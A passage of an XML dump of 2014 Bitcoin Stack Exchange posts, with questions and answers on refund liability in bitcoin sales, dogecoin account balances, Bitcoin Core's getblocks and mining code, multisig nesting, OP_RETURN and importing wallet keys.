ContentLicense="CC BY-SA 3.0" />
  <row Id="32584" PostTypeId="2" ParentId="32489" CreationDate="2014-11-17T20:27:12.543" Score="2" Body="&lt;p&gt;You guys are all approaching this from the wrong angle. Property and contract law make it pretty straightforward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer depends a lot on the terms of the sales contract.  Specifically, how much liability the seller has for failure to deliver.  Absent an agreement to the contrary, the seller is liable for any damages caused by failure to ship/deliver (Depending on when transfer of ownership takes place) the item, in the condition specified, by the date specified.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if the item you ordered was something you needed to fulfill a contract with someone else, and their cancelling of the order caused you to default on that contract, absent a different agreement, they would be liable for your inability to fulfill your obligations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, the seller breached the contract, so ultimately the seller is liable for damages caused by said breach.  That would include loss of opportunities and/or changes in value of the items exchanged. (This has a big pile of common-law precedent.  Bitcoin is a new transfer method, not a new concept in property law.  If it was in dollars they would, technically, owe you interest, it's just that dollars are stable enough that that's not usually a significant sum, and most people don't worry about it when this kind of thing happens.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, everyone else's answers about legal tender and such do apply:  You can't force them to pay you in Bitcoin.  They can pay you the equivalent value in dollars if they choose.  But there is good cause and good precedent for damages, so they may well owe you the full, current value of the bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the transaction is handled by them directly and not via a payment processor (who, presumably, performed their job correctly) then you have another avenue as well.  The contract was never completed as agreed, and so the bitcoins in question are, legally, still yours.  They can either give them back to you, or pay you for their current value at time of contract breach (plus interest if applicable)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of this &lt;em&gt;is&lt;/em&gt;, however, subject to the terms and conditions of the sales contract, which was probably presented to you at time of sale, and may well (very likely did) specifically disclaim this portion of their liability.  (You &lt;em&gt;did&lt;/em&gt; read the entire thing, right?  And you kept a copy, right?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer:  I am not a lawyer.  I did, however, get good grades in my business law summary courses, which covered property and contract law rather nicely. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note for the &quot;risk free speculation&quot; commentators: This cannot be reliably used for that, as it is dependent on the seller violating the terms of the sales agreement.  Further, if the seller discovered that you were doing it on purpose, that would be negotiation in bad faith on the buyer's part and would shift the liability the other way. How to handle it in the case of the return policy is another matter, and should be stated in the sales agreement. If not, then it could end up going to court for arbitration, and the ruling would likely depend on the reason for the return and evidence (or lack thereof) of the buyer making the deal in bad faith.&lt;/p&gt;&#xA;" OwnerUserId="21161" LastActivityDate="2014-11-17T20:27:12.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32586" PostTypeId="1" CreationDate="2014-11-17T22:54:50.207" Score="0" ViewCount="197" Body="&lt;p&gt;I would like to know if there is a correlation between business cycle and Bitcoin price, whether it is negative or positive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering because Bitcoin is deemed as commodity in my country's law, and commodity prices tend to have strong correlations with business cycles. (i.e. gold, oil, ...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions or evidence?&lt;/p&gt;&#xA;" OwnerUserId="20844" LastActivityDate="2015-06-18T01:39:08.803" Title="Correlation between business cycle and BTC price" Tags="|economic-theory|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32587" PostTypeId="1" CreationDate="2014-11-18T03:35:27.813" Score="4" ViewCount="1318" Body="&lt;p&gt;Through dogecoin-cli, I sent half the dogecoins I own to an external address. Now, when I call the listaccounts function, I get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[root@web ~]# ./dogecoin-cli listaccounts&#xA;{&#xA;    &quot;&quot; : -25001.00000000,&#xA;    &quot;doge&quot; : 48136.85072100&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice how the &quot;&quot; has -25001.00000000. I am using a query from php to get the balance of &quot;doge&quot; and display it to users. That returns 48136.85072100, which is a problem, because I only have 23135.85072100 doge. How can I fix this problem? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="21167" LastEditorUserId="5406" LastEditDate="2021-02-01T16:38:52.257" LastActivityDate="2021-02-01T16:38:52.257" Title="Negative Dogecoin Balances?" Tags="|dogecoin|bitcoin-core-accounts|" AnswerCount="1" CommentCount="2" ClosedDate="2021-02-04T21:01:06.120" ContentLicense="CC BY-SA 3.0" />
  <row Id="32588" PostTypeId="2" ParentId="32578" CreationDate="2014-11-18T03:44:53.463" Score="1" Body="&lt;p&gt;May or may not be of use to you, but just to check sometimes I have a little script/webpage that gets the current block height from each of my bitcoind nodes - if any of them are lower than the majority then they are out of sync. Obviously you'd need nodes on different networks and machines else an error could mean all nodes are out of sync. Works for me though, it's simple and uses an existing RPC call.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-11-18T03:44:53.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32589" PostTypeId="2" ParentId="32489" CreationDate="2014-11-18T03:51:28.537" Score="2" Body="&lt;p&gt;Perkins is perhaps the closest to the mark that I can see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But again a slight issue. The core of the issue comes from contract law.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Contra_proferentem&quot; rel=&quot;nofollow&quot;&gt;Contra proferentem (interpretation against the draftsman)&lt;/a&gt;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the answers here state that it is unfair that the OP in effect is now allowed &quot;risk free speculation&quot;. However that is actually EXACTLY what the law says.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that the OP does not explicitly state in that there is a clause in the original transaction determining the method of refund, given that the transaction failed. Then the OP is ALLOWED to interpret the contract in any damned way he feels like (assuming it is a VALID and legal interpretation). The fact that his interpretation is governed on which way the USDBTC is irrelevant and moot, the seller (as the drafter of the agreement, should have specified in the agreement his terms).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reasoning for this is that the seller was originally in the best legal position, as the drafter of the agreement to impose any terms he wishes to avoid losses.&lt;/p&gt;&#xA;" OwnerUserId="21166" LastActivityDate="2014-11-18T03:51:28.537" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32590" PostTypeId="2" ParentId="32587" CreationDate="2014-11-18T04:33:56.037" Score="2" Body="&lt;h3&gt;Problem&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;rricci2009 commented:&lt;/em&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;After few transaction by &lt;code&gt;sendtoaddress&lt;/code&gt; command, balance in &quot;&quot; became negative. I solved with the &quot;move&quot; command from another account to &quot;&quot;. [...]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h3&gt;Cause&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;sipa commented:&lt;/em&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;That is expected behavior, if your incoming transactions credit accounts other than &quot;&quot;, but outgoing transactions debit account &quot;&quot; (the default if you're not using &lt;code&gt;sendfrom&lt;/code&gt;), the &quot;&quot; account will go negative. [...]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h3&gt;Mitigation&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;Tectract commented:&lt;/em&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[...] So, is there a way to do something like a &lt;code&gt;sendtoaddress&lt;/code&gt; command that won't leave me with odd negative balances?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;em&gt;gavinandresen commented:&lt;/em&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Use the &lt;code&gt;sendfrom&lt;/code&gt; RPC command.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;And you can use the &lt;code&gt;move&lt;/code&gt; RPC command to reset account balances to what you expect (and listaccounts to see all accounts / balances)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/2191&quot; rel=&quot;nofollow&quot;&gt;Source.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2014-12-13T02:49:30.963" LastActivityDate="2014-12-13T02:49:30.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32592" PostTypeId="2" ParentId="4017" CreationDate="2014-11-18T06:05:08.150" Score="3" Body="&lt;p&gt;You can try &lt;a href=&quot;https://www.bitcoin.co.id/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitcoin.co.id/&lt;/a&gt; and use IDR. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can find seller / buyer in &lt;a href=&quot;https://localbitcoins.com/places/570925/jakarta-id/&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/places/570925/jakarta-id/&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="21170" LastActivityDate="2014-11-18T06:05:08.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32593" PostTypeId="2" ParentId="32492" CreationDate="2014-11-18T09:28:23.307" Score="1" Body="&lt;p&gt;It comes down to XRP's actual or perceived utility, then speculating on XRP's future; most seem to be bullish so there's price appreciation. Since XRP will act as a connecting joint between ALL currency pairs within the Ripple network, XRP will maintain its usefulness and in fact probably become more useful as time goes on and new bridges are made across previously isolated markets. XRP will help to lubricate the engine of the Ripple protocol. As long as the protocol is being used more each day and is &quot;healthy&quot;, which it currently is, the price of XRP &quot;should&quot; increase along with it – just as a motor needs lubricating oil to maintain it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also a chance it might become a sort of &quot;reserve&quot; currency in the future, assuming success of the Ripple protocol. &lt;/p&gt;&#xA;" OwnerUserId="21172" LastActivityDate="2014-11-18T09:28:23.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32594" PostTypeId="1" CreationDate="2014-11-18T10:34:12.170" Score="1" ViewCount="171" Body="&lt;p&gt;I am reading the protocol part. One silly question. I found the part processing getblocks part, but i did not find when and where to send the getblocks command.Or it is deleted in the new bitcoin edition.  Any idea, I will appreciate it very much. &lt;/p&gt;&#xA;" OwnerUserId="21175" LastEditorUserId="2306" LastEditDate="2014-11-18T15:37:00.793" LastActivityDate="2014-11-18T15:37:00.793" Title="where is the code about sending command getblocks in bitcoin source code" Tags="|bitcoind|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32595" PostTypeId="2" ParentId="32594" CreationDate="2014-11-18T12:54:48.520" Score="3" Body="&lt;p&gt;You're correct: the &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Core master branch&lt;/a&gt; no longer sends the &lt;code&gt;getblocks&lt;/code&gt; message because it uses headers-first synchronization to get all the headers (with the &lt;code&gt;getheaders&lt;/code&gt; message), allowing it to hash the headers itself, verify their proof-of-work, and request the corresponding blocks in parallel from multiple peers with &lt;code&gt;getdata&lt;/code&gt; messages.  I believe the upcoming version 0.10 branch is supposed to be forked off of the master branch later today.  (Will update answer with link when that happens.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some direct code links:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin Core 0.9.3 sends the &lt;code&gt;getblocks&lt;/code&gt; message with &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0.9.3/src/main.cpp#L2575&quot; rel=&quot;nofollow&quot;&gt;this line&lt;/a&gt;.  That function is &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0.9.3/src/main.cpp#L2506&quot; rel=&quot;nofollow&quot;&gt;defined here&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the master branch, this is &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/341735eb8f42e898cf9d4d130709471e5d01abe2#diff-7ec3c68a81efff79b6ca22ac1f1eabbaL2508&quot; rel=&quot;nofollow&quot;&gt;the patch that replaced the line above&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Core version 0.10 will continue to process the &lt;code&gt;getblocks&lt;/code&gt; message from remote peers, as you note.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-11-18T12:54:48.520" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32596" PostTypeId="1" CreationDate="2014-11-18T16:18:05.857" Score="1" ViewCount="139" Body="&lt;p&gt;I have some funds on My Wallet account (Blockchain.info) and I'd like to have a possibility to use them with my bitcoin-qt client. Is there a possibility to do that? Please give short description. I get many &quot;Yes&quot; answears on some forum but still can not do that.&lt;/p&gt;&#xA;" OwnerUserId="83779" LastActivityDate="2014-11-18T21:04:02.973" Title="Is there a way to use My Wallet account with bitcoin-qt client?" Tags="|bitcoin-core|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32598" PostTypeId="1" CreationDate="2014-11-18T17:11:23.970" Score="2" ViewCount="602" Body="&lt;p&gt;I am writing a project in Ruby using JSON-RPC to communicate with blockchain.info. The API is available here: &lt;a href=&quot;https://blockchain.info/api/json_rpc_api&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/api/json_rpc_api&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to create a &lt;strong&gt;op_return&lt;/strong&gt; txout using the given JSON-RPC API ?&lt;/p&gt;&#xA;" OwnerUserId="21183" LastActivityDate="2015-07-12T01:29:41.717" Title="OP_Return in transactions at json_rpc_api at blockchain.info" Tags="|json-rpc|blockchain.info|ruby|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32599" PostTypeId="1" AcceptedAnswerId="32600" CreationDate="2014-11-18T17:13:26.553" Score="2" ViewCount="263" Body="&lt;p&gt;Can a multisig address creation process use other multisig addresses as signers to result in a new multisig address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would this also result in a greater number of signers to be necessary to approve a result/transaction?&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2014-11-18T17:31:37.637" Title="Multisig created from Multisig address" Tags="|p2sh|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32600" PostTypeId="2" ParentId="32599" CreationDate="2014-11-18T17:31:37.637" Score="6" Body="&lt;p&gt;No.  A &quot;multisig address&quot; is really a hash of a redeem script encoded as a P2SH address.  Redeem scripts can't be nested, which means you can't include one redeem script inside another redeem script, so it is impossible to implement the feature you describe under current Bitcoin consensus rules.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-11-18T17:31:37.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32601" PostTypeId="2" ParentId="32596" CreationDate="2014-11-18T17:40:23.773" Score="2" Body="&lt;p&gt;Yes, export the private key(s) of the addresses that have funds on blockchain.info using the settings/advanced section and then import them into the bitcoin-qt software. You will then have full access to the address(es) in both wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the bitcoin-qt debug console..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;importprivkey &quot;keyhere&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit:  Don't forget change from transactions may not go back into the original address - so once you've made a transaction it may be that you have to repeat the export &amp;amp; import private key process to have the funds available on both wallets.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastEditorUserId="18441" LastEditDate="2014-11-18T21:04:02.973" LastActivityDate="2014-11-18T21:04:02.973" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32603" PostTypeId="1" AcceptedAnswerId="32630" CreationDate="2014-11-18T21:37:34.173" Score="13" ViewCount="5333" Body="&lt;p&gt;I know Satoshi isn't around to ask anymore, so this might be futile to ask, but I'm hoping someone might have some insight about this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin mining typically utilizes an extraNonce (&lt;code&gt;bnExtraNonce&lt;/code&gt; in the coinbase tx's scriptSig) and a nonce field (32 bits). Why didn't Satoshi just make the nonce field larger, and then there wouldn't even be a need for the &lt;code&gt;bnExtraNonce&lt;/code&gt;? Is there some reason why the nonce field needed to be kept to 32 bits? Seems like it would have been simpler to have a 64 bit integer in the block header. Even if he was worried about having an integer that was more than 32 bits, the header could have just been interpreted as two 32 bit integers &lt;code&gt;nonce1&lt;/code&gt; and &lt;code&gt;nonce2&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2014-12-18T00:45:56.293" LastActivityDate="2014-12-18T00:45:56.293" Title="Why didn't Satoshi make the nonce space larger?" Tags="|nonce|block-header|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32604" PostTypeId="2" ParentId="32603" CreationDate="2014-11-18T21:44:33.227" Score="0" Body="&lt;p&gt;In fact we do not need 32-bit nonce in block header at all. Everything can be put into coinbase input script. So, the question should be: can we deal with 76-bytes block header instead of 80-bytes?&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-11-18T21:44:33.227" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="32605" PostTypeId="2" ParentId="32598" CreationDate="2014-11-18T23:16:27.293" Score="1" Body="&lt;p&gt;Blockchain.info and bitoind/qt out of the box doesn't support pushing transaction out with the OP_RETURN op code. They will mark the transaction as invalid and refuse to broadcast it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an open source project with a program that will push out transactions to the network directly at &lt;a href=&quot;https://github.com/kaykurokawa/pushtx&quot; rel=&quot;nofollow&quot;&gt;https://github.com/kaykurokawa/pushtx&lt;/a&gt;.  It doesn't do any error checking on the transaction so transactions with OP_RETURN will get relayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've successfully used this in combination with &lt;a href=&quot;https://github.com/vbuterin/pybitcointools&quot; rel=&quot;nofollow&quot;&gt;pybitcointools&lt;/a&gt; for crafting a transaction with OP_RETURN in it.&lt;/p&gt;&#xA;" OwnerUserId="7267" LastEditorUserId="7267" LastEditDate="2015-07-12T01:29:41.717" LastActivityDate="2015-07-12T01:29:41.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32606" PostTypeId="1" AcceptedAnswerId="32607" CreationDate="2014-11-19T01:39:11.687" Score="4" ViewCount="616" Body="&lt;p&gt;I wanted to start mining Bitcoin from the genesis block, so I cloned Bitcoin and removed the checkpoints. Then I compiled and started up the daemon. I wasn't connected to any other peers, however, so it wouldn't let me mine. I did &lt;code&gt;./bitcoin-cli setgenerate true&lt;/code&gt; but &lt;code&gt;./bitcoin-cli getmininginfo&lt;/code&gt; said I had &lt;code&gt;0 hashespersecond&lt;/code&gt;. When I connected to just one other peer, though, (a peer which also didn't have the checkpoints or the block chain), I could start mining. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theoretically, though, why wouldn't the peer just let me mine on my own chain and not broadcast my results to anybody? I know it's not really a peer-to-peer network in this case, but I don't see why it would harm anyone to allow mining like this. Where in the &lt;code&gt;v0.9.3&lt;/code&gt; code does it essentially say &quot;if not connected to peers, then don't allow generation&quot;?&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="5406" LastEditDate="2016-04-09T08:11:09.923" LastActivityDate="2016-04-09T08:11:09.923" Title="Why does the daemon require peers in order to start mining?" Tags="|mining-technical-details|peers|checkpoints|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32607" PostTypeId="2" ParentId="32606" CreationDate="2014-11-19T01:50:04.713" Score="7" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I wanted to start mining bitcoin from the genesis block&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure regtest will let you do that.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;why wouldn't the peer just let me mine on my own chain and not broadcast my results to anybody?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Because that would be pointless. You're not confirming transactions, and you won't get rewarded for your mining. Your chain will probably be overwritten the very next time you connect to the network.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Where in the v0.9.3 code does it essentially say &quot;if not connected to peers, then don't allow generation&quot;?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0.9.3/src/miner.cpp#L512&quot;&gt;Here:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (Params().NetworkID() != CChainParams::REGTEST) {&#xA;    // Busy-wait for the network to come online so we don't waste time mining&#xA;    // on an obsolete chain. In regtest mode we expect to fly solo.&#xA;    while (vNodes.empty())&#xA;        MilliSleep(1000);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/ed98a6284b4c2f0be2e128dc7cf59d42eb49046c/src/chainparams.cpp#L171&quot;&gt;It's here on versions after 0.9.3:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fMiningRequiresPeers = true;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/1712adbe0b084b6907b82db350a51ab44f8c3117&quot;&gt;This commit&lt;/a&gt;  changed it.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2014-11-19T02:00:59.130" LastActivityDate="2014-11-19T02:00:59.130" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32608" PostTypeId="2" ParentId="32575" CreationDate="2014-11-19T02:18:39.960" Score="4" Body="&lt;p&gt;There's several ways this happens in many abstract ways.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The &lt;em&gt;coinbase&lt;/em&gt; field of a mined block allows for hex data which can hold approximately 1 tweet worth of data.&lt;/li&gt;&#xA;&lt;li&gt;Multiple outputs can be used for a transaction such that each holds hex data. This would imply &lt;em&gt;dust&lt;/em&gt; value outputs (outputs of &amp;lt;5640 satoshis) and would be frowned upon for bloating the Blockchain.&lt;/li&gt;&#xA;&lt;li&gt;Likewise, as a commenter noted, hex data from a multi-signature transaction could be used to encode information, but has similar implications to #2&lt;/li&gt;&#xA;&lt;li&gt;Blockchain.info allows for messages which are linked to transactions but are not embedded in the Blockchain.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://proofofexistence.com&quot; rel=&quot;noreferrer&quot;&gt;http://proofofexistence.com&lt;/a&gt; allows for a hash of a document to be imbedded in the Blockchain to prove an instance of an object (document/file) existed at a certain time.&lt;/li&gt;&#xA;&lt;li&gt;Similarly to #5, sidechains allow for assets to be linked (though more abstractly) to a time/black in the Blockchain. So if one assumes a block height as a pointer to a sidechain's information, then the Bitcoin blockchain is encoding information/proof of assets&lt;/li&gt;&#xA;&lt;li&gt;Assuming brute forced Base58Check, it is possible to send Bitcoin to public addresses which could double as hex encoded data, though the assumption of useful messages rests on owning the keys to addresses which have a checksum which appends meaningful data (which is random, hence brute force)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="18196" LastEditDate="2014-11-19T09:30:37.627" LastActivityDate="2014-11-19T09:30:37.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32609" PostTypeId="2" ParentId="30604" CreationDate="2014-11-19T04:38:27.443" Score="1" Body="&lt;p&gt;In well regulated markets (Bitfinex's aim) traders should have the ability to profit from movements in both directions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shorting also assists in the formation of price bottoms. The only way a short seller can capitalize after a down move is by buying back the shorted BTC. This has the net effect of creating buyers after a down move which helps bouy the BTC price. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitfinex can also adjust its overall risk and generate some additional revenue by lending out BTC's to short sellers.&lt;/p&gt;&#xA;" OwnerUserId="21189" LastActivityDate="2014-11-19T04:38:27.443" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32610" PostTypeId="2" ParentId="30413" CreationDate="2014-11-19T05:20:53.053" Score="1" Body="&lt;p&gt;Yes, the Ripple protocol does allow you to list all past transactions performed. The most typical way would be to use the &lt;a href=&quot;https://ripple.com/build/websocket-tool/#account_tx&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;code&gt;account_tx&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt; command. You can &quot;page through&quot; the data, retrieving a particular number of transactions per command, until you get to the first transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not aware of a website where you can trace through an account's transaction history using GUI-style navigation, although the &lt;a href=&quot;http://www.ripplecharts.com/#/graph&quot; rel=&quot;nofollow&quot;&gt;Ripple Charts Account Explorer&lt;/a&gt; will show you an account's transaction stream. &lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-11-26T05:52:01.193" LastActivityDate="2014-11-26T05:52:01.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32611" PostTypeId="2" ParentId="32603" CreationDate="2014-11-19T05:58:43.033" Score="1" Body="&lt;p&gt;Actually the extra nonce is an arbitrary precision integer (&lt;a href=&quot;http://satoshi.nakamotoinstitute.org/posts/bitcointalk/115/&quot; rel=&quot;nofollow&quot;&gt;http://satoshi.nakamotoinstitute.org/posts/bitcointalk/115/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I conjecture that it's there to allow for arbitrary changes to a block even in a situation where there are no changes in terms of transactions. This would make it even less likely that there could be an unsolvable empty block in a transaction-less period. (Already almost impossible. But hashes are inherently unpredictable so Satoshi may have just been extra paranoid in adding it.)&lt;/p&gt;&#xA;" OwnerUserId="12616" LastActivityDate="2014-11-19T05:58:43.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32612" PostTypeId="1" CreationDate="2014-11-19T11:10:50.777" Score="2" ViewCount="366" Body="&lt;p&gt;I recently reinstalled Linux mint; I backed up my wallet, and I am unable to import the backup created from the original wallet (Qt version 4.8.6.) to the newly installed wallet(Qt version 4.8.6.) I have just installed. When I try and open up the backup (binary file) using Bitcoin-QT a textbox appears with the message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Payment request file can not be read or processed! This can be caused by an invalid payment request file.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can anyone help with this please? Or, just point me in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="21195" LastEditorUserId="2306" LastEditDate="2014-11-19T17:39:26.223" LastActivityDate="2014-11-21T11:02:50.607" Title="Unable to open Backup binary file Linux" Tags="|wallet|bitcoin-core|backup|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32613" PostTypeId="1" AcceptedAnswerId="32616" CreationDate="2014-11-19T12:21:23.567" Score="4" ViewCount="595" Body="&lt;p&gt;To make clickable Bitcoin links, to let people easily pay from their wallet, I see two formats being used in various situations:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bitcoin:14bTZTm1uX2uVAqHr62oyGFEkwy2mNLbVb?amount=0.25&lt;/code&gt;&lt;br&gt;&#xA;and&lt;br&gt; &#xA;&lt;code&gt;bitcoin://14bTZTm1uX2uVAqHr62oyGFEkwy2mNLbVb?amount=0.25&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that's with and without the two slashes. When testing on Android, they both seem to work. Which is correct?&lt;/p&gt;&#xA;" OwnerUserId="15492" LastActivityDate="2014-11-19T13:56:16.707" Title="Correct syntax for Bitcoin URI: bitcoin://1xxx-etc or bitcoin:1xxx-etc?" Tags="|bip21-uri|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32614" PostTypeId="2" ParentId="32612" CreationDate="2014-11-19T13:14:30.490" Score="-3" Body="&lt;p&gt;You can try the command in your shell: bitcoin-qt -rescan  It will rescan the block chain for missing wallet transactions. &lt;/p&gt;&#xA;" OwnerUserId="21175" LastActivityDate="2014-11-19T13:14:30.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
